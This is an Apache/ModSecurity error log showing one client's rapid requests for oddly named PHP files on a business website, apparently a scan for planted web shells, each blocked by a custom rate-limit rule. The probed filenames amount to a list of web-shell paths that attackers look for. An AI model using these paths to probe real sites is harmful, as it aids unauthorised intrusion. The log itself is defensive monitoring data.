[Sat Apr 11 04:25:02.162539 2026] [:error] [pid 33288:tid 33303] [client 51.107.88.105:33131] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlcnmJmwJFFPEgRHfHYgAAAAM0"]
[Sat Apr 11 04:25:02.679312 2026] [:error] [pid 33173:tid 33264] [client 51.107.88.105:33658] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-220.php"] [unique_id "adlcnq8109xRDP2izWiPewAAAJM"]
[Sat Apr 11 04:25:03.148346 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:33650] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-220.php"] [unique_id "adlcnzn2G0IJw5EZY9kB4wAAAEw"]
[Sat Apr 11 04:25:03.657935 2026] [:error] [pid 33288:tid 33295] [client 51.107.88.105:33149] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-220.php"] [unique_id "adlcn2JmwJFFPEgRHfHYkgAAAMU"]
[Sat Apr 11 04:25:04.168190 2026] [:error] [pid 33288:tid 33306] [client 51.107.88.105:22512] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-220.php"] [unique_id "adlcoGJmwJFFPEgRHfHYmAAAANA"]
[Sat Apr 11 04:25:04.667496 2026] [:error] [pid 33173:tid 33256] [client 51.107.88.105:22105] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlcoK8109xRDP2izWiPggAAAIs"]
[Sat Apr 11 04:25:05.141981 2026] [:error] [pid 33172:tid 33240] [client 51.107.88.105:22499] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlcoTn2G0IJw5EZY9kB6gAAAFY"]
[Sat Apr 11 04:25:05.610685 2026] [:error] [pid 33173:tid 33262] [client 51.107.88.105:22484] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlcoa8109xRDP2izWiPhwAAAJE"]
[Sat Apr 11 04:25:06.079755 2026] [:error] [pid 33172:tid 33234] [client 51.107.88.105:33151] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlcojn2G0IJw5EZY9kB7QAAAFA"]
[Sat Apr 11 04:25:06.592887 2026] [:error] [pid 33173:tid 33245] [client 51.107.88.105:33141] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "adlcoq8109xRDP2izWiPkAAAAIA"]
[Sat Apr 11 04:25:07.061590 2026] [:error] [pid 33173:tid 33251] [client 51.107.88.105:22496] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "adlco68109xRDP2izWiPkgAAAIY"]
[Sat Apr 11 04:25:07.531987 2026] [:error] [pid 33173:tid 33246] [client 51.107.88.105:22117] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "adlco68109xRDP2izWiPlgAAAIE"]
[Sat Apr 11 04:25:08.001895 2026] [:error] [pid 33288:tid 33311] [client 51.107.88.105:33101] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "adlcpGJmwJFFPEgRHfHYoQAAANU"]
[Sat Apr 11 04:25:08.468038 2026] [:error] [pid 33288:tid 33303] [client 51.107.88.105:22516] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlcpGJmwJFFPEgRHfHYpQAAAM0"]
[Sat Apr 11 04:25:08.962059 2026] [:error] [pid 33172:tid 33233] [client 51.107.88.105:22517] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlcpDn2G0IJw5EZY9kB-wAAAE8"]
[Sat Apr 11 04:25:09.424802 2026] [:error] [pid 33172:tid 33218] [client 51.107.88.105:33140] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlcpTn2G0IJw5EZY9kB_QAAAEA"]
[Sat Apr 11 04:25:09.891530 2026] [:error] [pid 33173:tid 33251] [client 51.107.88.105:33621] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlcpa8109xRDP2izWiPoQAAAIY"]
[Sat Apr 11 04:25:10.366840 2026] [:error] [pid 33173:tid 33257] [client 51.107.88.105:22493] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlcpq8109xRDP2izWiPpQAAAIw"]
[Sat Apr 11 04:25:10.855620 2026] [:error] [pid 33288:tid 33294] [client 51.107.88.105:33648] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlcpmJmwJFFPEgRHfHYsAAAAMQ"]
[Sat Apr 11 04:25:11.325653 2026] [:error] [pid 33173:tid 33253] [client 51.107.88.105:22523] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlcp68109xRDP2izWiPrgAAAIg"]
[Sat Apr 11 04:25:11.808831 2026] [:error] [pid 33173:tid 33247] [client 51.107.88.105:22100] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlcp68109xRDP2izWiPsgAAAII"]
[Sat Apr 11 04:25:12.290850 2026] [:error] [pid 33171:tid 33187] [client 51.107.88.105:33647] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlcqLoqTMlo30hcVw8qYgAAAAE"]
[Sat Apr 11 04:25:12.762577 2026] [:error] [pid 33173:tid 33250] [client 51.107.88.105:22134] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlcqK8109xRDP2izWiPtQAAAIU"]
[Sat Apr 11 04:25:13.236816 2026] [:error] [pid 33288:tid 33301] [client 51.107.88.105:33095] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlcqWJmwJFFPEgRHfHYtwAAAMs"]
[Sat Apr 11 04:25:13.722676 2026] [:error] [pid 33288:tid 33307] [client 51.107.88.105:22483] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlcqWJmwJFFPEgRHfHYuwAAANE"]
[Sat Apr 11 04:25:14.190471 2026] [:error] [pid 33171:tid 33201] [client 51.107.88.105:11230] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "adlcqroqTMlo30hcVw8qagAAAA8"]
[Sat Apr 11 04:25:14.684859 2026] [:error] [pid 33173:tid 33249] [client 51.107.88.105:22480] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "adlcqq8109xRDP2izWiPvQAAAIQ"]
[Sat Apr 11 04:25:15.185355 2026] [:error] [pid 33288:tid 33297] [client 51.107.88.105:22494] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "adlcq2JmwJFFPEgRHfHYwwAAAMc"]
[Sat Apr 11 04:25:15.655277 2026] [:error] [pid 33288:tid 33298] [client 51.107.88.105:22103] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "adlcq2JmwJFFPEgRHfHYxAAAAMg"]
[Sat Apr 11 04:25:16.121396 2026] [:error] [pid 33172:tid 33228] [client 51.107.88.105:22474] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adlcrDn2G0IJw5EZY9kCBwAAAEo"]
[Sat Apr 11 04:25:16.584697 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:11224] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adlcrK8109xRDP2izWiPyQAAAIo"]
[Sat Apr 11 04:25:17.052173 2026] [:error] [pid 33171:tid 33208] [client 51.107.88.105:22487] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adlcrboqTMlo30hcVw8qcQAAABY"]
[Sat Apr 11 04:25:17.528673 2026] [:error] [pid 33173:tid 33245] [client 51.107.88.105:22119] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adlcra8109xRDP2izWiP0wAAAIA"]
[Sat Apr 11 04:25:18.001320 2026] [:error] [pid 33288:tid 33301] [client 51.107.88.105:11215] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adlcrmJmwJFFPEgRHfHYzQAAAMs"]
[Sat Apr 11 04:25:18.474982 2026] [:error] [pid 33173:tid 33254] [client 51.107.88.105:33100] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adlcrq8109xRDP2izWiP2AAAAIk"]
[Sat Apr 11 04:25:18.949348 2026] [:error] [pid 33172:tid 33237] [client 51.107.88.105:22114] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adlcrjn2G0IJw5EZY9kCDQAAAFM"]
[Sat Apr 11 04:25:19.417166 2026] [:error] [pid 33172:tid 33218] [client 51.107.88.105:33629] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adlcrzn2G0IJw5EZY9kCEAAAAEA"]
[Sat Apr 11 04:25:19.885694 2026] [:error] [pid 33173:tid 33249] [client 51.107.88.105:22481] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "adlcr68109xRDP2izWiP3wAAAIQ"]
[Sat Apr 11 04:25:20.354276 2026] [:error] [pid 33288:tid 33294] [client 51.107.88.105:22518] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "adlcsGJmwJFFPEgRHfHY3QAAAMQ"]
[Sat Apr 11 04:25:20.855348 2026] [:error] [pid 33173:tid 33252] [client 51.107.88.105:22491] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "adlcsK8109xRDP2izWiP5AAAAIc"]
[Sat Apr 11 04:25:21.335730 2026] [:error] [pid 33288:tid 33294] [client 51.107.88.105:22505] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "adlcsWJmwJFFPEgRHfHY6gAAAMQ"]
[Sat Apr 11 04:25:21.829648 2026] [:error] [pid 33173:tid 33268] [client 51.107.88.105:22083] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlcsa8109xRDP2izWiP6AAAAJc"]
[Sat Apr 11 04:25:22.306885 2026] [:error] [pid 33173:tid 33269] [client 51.107.88.105:22111] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlcsq8109xRDP2izWiP7AAAAJg"]
[Sat Apr 11 04:25:22.773927 2026] [:error] [pid 33173:tid 33263] [client 51.107.88.105:11238] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlcsq8109xRDP2izWiP7wAAAJI"]
[Sat Apr 11 04:25:23.258140 2026] [:error] [pid 33171:tid 33207] [client 51.107.88.105:22519] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlcs7oqTMlo30hcVw8qfgAAABU"]
[Sat Apr 11 04:25:23.727473 2026] [:error] [pid 33288:tid 33294] [client 51.107.88.105:22126] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adlcs2JmwJFFPEgRHfHY8wAAAMQ"]
[Sat Apr 11 04:25:24.199053 2026] [:error] [pid 33288:tid 33291] [client 51.107.88.105:22098] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adlctGJmwJFFPEgRHfHY9wAAAME"]
[Sat Apr 11 04:25:24.667188 2026] [:error] [pid 33288:tid 33308] [client 51.107.88.105:33640] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adlctGJmwJFFPEgRHfHY_gAAANI"]
[Sat Apr 11 04:25:25.143729 2026] [:error] [pid 33171:tid 33205] [client 51.107.88.105:22470] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adlctboqTMlo30hcVw8qgwAAABM"]
[Sat Apr 11 04:25:25.631735 2026] [:error] [pid 33173:tid 33252] [client 51.107.88.105:22085] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "adlcta8109xRDP2izWiP-gAAAIc"]
[Sat Apr 11 04:25:26.112885 2026] [:error] [pid 33288:tid 33303] [client 51.107.88.105:22475] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "adlctmJmwJFFPEgRHfHZBQAAAM0"]
[Sat Apr 11 04:25:26.576560 2026] [:error] [pid 33171:tid 33206] [client 51.107.88.105:22515] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "adlctroqTMlo30hcVw8qiAAAABQ"]
[Sat Apr 11 04:25:27.041892 2026] [:error] [pid 33172:tid 33238] [client 51.107.88.105:22140] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "adlctzn2G0IJw5EZY9kCHQAAAFQ"]
[Sat Apr 11 04:25:27.519625 2026] [:error] [pid 33171:tid 33201] [client 51.107.88.105:22096] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adlct7oqTMlo30hcVw8qiwAAAA8"]
[Sat Apr 11 04:25:28.003322 2026] [:error] [pid 33288:tid 33298] [client 51.107.88.105:22108] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adlcuGJmwJFFPEgRHfHZEAAAAMg"]
